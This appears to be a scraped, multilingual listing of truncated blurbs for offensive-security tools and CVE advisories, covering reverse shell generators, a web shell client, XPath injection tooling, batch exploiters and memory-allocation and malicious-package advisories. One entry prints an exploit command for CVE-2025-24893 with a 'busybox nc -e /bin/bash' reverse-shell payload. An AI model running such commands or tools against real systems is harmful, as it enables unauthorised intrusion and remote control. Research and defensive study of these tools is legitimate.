PoC-for-Next.js-Middleware

PoC para el bypass del middleware de Next.js CVE-2025-29927 Esta es una prueba de concepto para una vulnerabilidad ficticia de omisión del middleware de Next.js CVE-2025-29927. Úselo solo con fines educativos y de investigación de seguridad autorizada. 🚀 Características...

tarnish

tarnish tarnish is a static-analysis tool to aid researchers in security reviews of Chrome extensions. It automates much of the regular grunt work and helps you quickly identify potential security vulnerabilities. This tool accompanies the research blog post which can be found here. If you don't...

msploitego

msploitego - The Pentesting suite for Maltego THIS IS A BETA RELEASE, please be nice and report any issues Whats New New Features Now supporting multiple workspaces for Metasploit via Postgres queries A bash script that runs tons of auxiliary modules against targets. Really 'fattens' up the...

graphicator

Graphicator Graphicator is a GraphQL "scraper" / extractor. The tool iterates over the introspection document returned by the targeted GraphQL endpoint, and then re-structures the schema in an internal form so it can re-create the supported queries. When such queries are created is using them to...

house

root@kitploit: / | \ / / | | / // \ \ Y | /\ \ / | / /|// \ / House / / 动态移动分析工具 联系：[email protected] House ： 一个基于 Web GUI 的运行时移动应用分析工具包，由 Frida 驱动，使用 Python 编写。它旨在通过实现动态函数挂钩和拦截来帮助评估移动应用，并尽可能简化 Frida 脚本编写。 快速上手 root@kitploit: git clone https://github.com/nccgroup/house cd house pip3...

revshellgen

🚀 RevShellGen Reverse Shell Generator Automate reverse shell generation with style Generate, encode, and catch reverse shells without the hassle Features • Installation • Usage • Shell Types • Contributing 📖 About RevShellGen is a powerful command-line tool that simplifies the process of generati...

revshellgen

🚀 RevShellGen 反向 Shell 生成器 以优雅的方式自动化反向 Shell 生成 生成、编码、捕获反向 Shell，省去繁琐操作 功能 • 安装 • 用法 • Shell 类型 • 贡献 📖 关于 RevShellGen 是一个强大的命令行工具，简化了生成反向 Shell 命令的过程。无需再查找语法，无需手动编码，无需头疼的配置。本工具通过直观的界面处理一切。 🎯 主要功能 🖥️ 交互式 CLI - 用户友好的菜单驱动界面 🔄 自动编码 - 支持 URL 和 Base64 编码 📋 剪贴板集成 - 自动复制生成的命令 🌐 网络检测 - 自动发现 IP 地址 🎨 多种...

violent-python3

Código fuente de Python 3 "Violent Python" Código fuente del libro "Violent Python" de TJ O'Connor. El código se ha convertido completamente a Python 3, reformateado para cumplir con los estándares PEP8 y refactorizado para eliminar problemas de dependencias derivados de la implementación de...

CVE-2025-24893

Reverse shell para CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" mejorar la shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2022-22947

CVE-2022-22947 Uso: root@kitploit: python3 CVE-2022-22947.py url...

CryptoChat

CryptoChat : 超越安全通讯 🛡️ 欢迎使用 CryptoChat —— 在这里，对话真正保持私密。我们的应用基于强大的 Python 生态系统构建，确保您发送的每一个字都层层加密。无论您是讨论敏感的商业细节，还是分享个人故事，CryptoChat 都能为您提供数字时代所需的庇护所。立即体验，感受下一代安全通讯的魅力！ CryptoChat 的特性 🌟 1. 端到端加密 ：每条消息从发送到接收全程加密，确保最大隐私。 2. 用户友好界面 ：导航和消息发送直观简单，让安全对话变得轻松。 3. 多平台支持 ：无论是在桌面端还是移动设备上，CryptoChat 始终触手可及。 4...

faraday-cli

终端上的Faraday 直接在您最喜爱的终端中使用faraday faraday-cli 是官方客户端，可让您的安全工作流程自动化更加便捷。 安装前，我们建议创建并激活一个 Python 虚拟环境，以避免影响系统 Python 包。例如： root@kitploit: python3 -m venv .venv source .venv/bin/activate 如果您更偏好 virtualenv，也可以使用它。虚拟环境激活后，运行以下安装命令。 通过 pip 安装 root@kitploit: pip install faraday-cli 从源码安装 root@kitploit: g...

wshlient

Wshlient Web Shell Client Description & Demo Wshlient is a web shell client designed to be pretty simple yet versatile. One just need to create a text file containing an HTTP request and inform where Wshlient inject the commands, then you can enjoy a shell...

CVE-2024-29269

Telesquare TLR-2005KSHRCE CVE-2024-29269 Escaneo/explotación por lotes 1.Esta herramienta se utiliza únicamente para pruebas de seguridad; no me hago responsable de ningún ataque ilegal. 2.La herramienta se utiliza únicamente para pruebas de seguridad, y no soy responsable de ningún ataque ilegal...

CVE-2026-95831

Crypt::SelfCertificate versions from 1.01 through 1.05 for Perl contains malware which executes Python code from an obfuscated URL. The generatecertificate runs a Python script saved as a certificate file. The pyhton script attempts to retrieve code from a hardcoded http URL that is obfuscated wi...

xcat

XCat XCat is a command line tool to exploit and investigate blind XPath injection vulnerabilities. For a complete reference read the documentation here: https://xcat.readthedocs.io/en/latest/ It supports an large number of features: Auto-selects injections run xcat injections for a list Detects t...

CVE-2026-59991

The psd-tools Python package, used for processing Adobe Photoshop PSD files, contains an uncontrolled memory allocation vulnerability in the PSDImage.composite() and PSDImage.numpy() functions. Prior to version 1.17.4 , the software allocated output buffers based on attacker-controlled header geo...

EUVD-2026-84808

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

CVE-2026-59991 psd-tools: Uncontrolled memory allocation in psd-tools composite/numpy via crafted PSD geometry

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...

CVE-2026-59991 psd-tools: Uncontrolled memory allocation in psd-tools composite/numpy via crafted PSD geometry

psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to 1.17.4, PSDImage.composite and PSDImage.numpy allocated output buffers from attacker-controlled PSD header geometry, including width, height, channels, depth, and per-layer rectangles, before validating those value...